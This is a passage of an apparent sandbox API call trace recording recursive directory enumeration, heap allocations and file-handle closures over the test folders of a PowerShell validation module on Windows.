ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531c40 [0193.479] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40be1a4 | out: lpFindFileData=0x40be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7129b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.479] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40be1a4 | out: lpFindFileData=0x40be1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0193.555] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40be1a4 | out: lpFindFileData=0x40be1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0193.555] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0193.555] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0193.555] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40be420 | out: lpFindFileData=0x40be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7129b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0193.555] FindClose (in: hFindFile=0x4531880 | out: hFindFile=0x4531880) returned 1 [0193.555] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0193.558] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x40be69c | out: lpFindFileData=0x40be69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 1 [0193.558] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x40be69c | out: lpFindFileData=0x40be69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 0 [0193.558] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0193.558] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0193.559] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc711adb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0193.559] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0193.559] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0193.559] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 1 [0193.559] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45546c0 [0193.559] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\*", lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531880 [0193.871] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.871] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc713bd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1.1", cAlternateFileName="11D0A5~1.1")) returned 1 [0193.871] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0193.871] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\*", lpFindFileData=0x40be69c | out: lpFindFileData=0x40be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc713bd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531c40 [0193.871] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40be69c | out: lpFindFileData=0x40be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc713bd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.872] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40be69c | out: lpFindFileData=0x40be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7144ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0193.872] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0193.872] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\*", lpFindFileData=0x40be420 | out: lpFindFileData=0x40be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7144ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531cc0 [0193.872] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40be420 | out: lpFindFileData=0x40be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7144ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.872] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40be420 | out: lpFindFileData=0x40be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc714e87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0193.872] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45e9760 [0193.873] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\1.1.1\\Diagnostics\\Simple\\*", lpFindFileData=0x40be1a4 | out: lpFindFileData=0x40be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc714e87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531dc0 [0193.874] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40be1a4 | out: lpFindFileData=0x40be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc714e87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.874] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40be1a4 | out: lpFindFileData=0x40be1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3A.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0193.874] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x40be1a4 | out: lpFindFileData=0x40be1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3A.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0193.874] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0193.874] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0193.874] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40be420 | out: lpFindFileData=0x40be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc714e87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0193.874] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0193.874] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0193.874] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40be69c | out: lpFindFileData=0x40be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7144ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0193.874] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0193.874] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0193.874] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 1 [0193.874] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0193.875] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\*", lpFindFileData=0x40be69c | out: lpFindFileData=0x40be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531c40 [0193.875] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40be69c | out: lpFindFileData=0x40be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.875] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40be69c | out: lpFindFileData=0x40be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71620c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0193.875] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4520058 [0193.875] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\*", lpFindFileData=0x40be420 | out: lpFindFileData=0x40be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71620c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4531cc0 [0193.875] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40be420 | out: lpFindFileData=0x40be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71620c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.875] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40be420 | out: lpFindFileData=0x40be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc716b2b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0193.875] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45e9760 [0193.875] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example3.Diagnostics\\2.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x40be1a4 | out: lpFindFileData=0x40be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc716b2b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531d00 [0193.876] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40be1a4 | out: lpFindFileData=0x40be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc716b2b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.876] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40be1a4 | out: lpFindFileData=0x40be1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3B.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1 [0193.876] FindNextFileW (in: hFindFile=0x4531d00, lpFindFileData=0x40be1a4 | out: lpFindFileData=0x40be1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3B.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0 [0193.876] FindClose (in: hFindFile=0x4531d00 | out: hFindFile=0x4531d00) returned 1 [0193.876] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0193.876] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x40be420 | out: lpFindFileData=0x40be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc716b2b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0193.876] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0193.876] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0193.876] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x40be69c | out: lpFindFileData=0x40be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71620c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0193.876] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0193.876] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0193.876] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x40be918 | out: lpFindFileData=0x40be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc715839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 0 [0193.876] FindClose (in: hFindFile=0x4531880 | out: hFindFile=0x4531880) returned 1 [0193.876] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0193.879] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x40beb94 | out: lpFindFileData=0x40beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 0 [0193.879] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0193.879] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0193.880] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x40bee10 | out: lpFindFileData=0x40bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70f0d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0 [0193.880] FindClose (in: hFindFile=0x4531700 | out: hFindFile=0x4531700) returned 1 [0193.880] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) 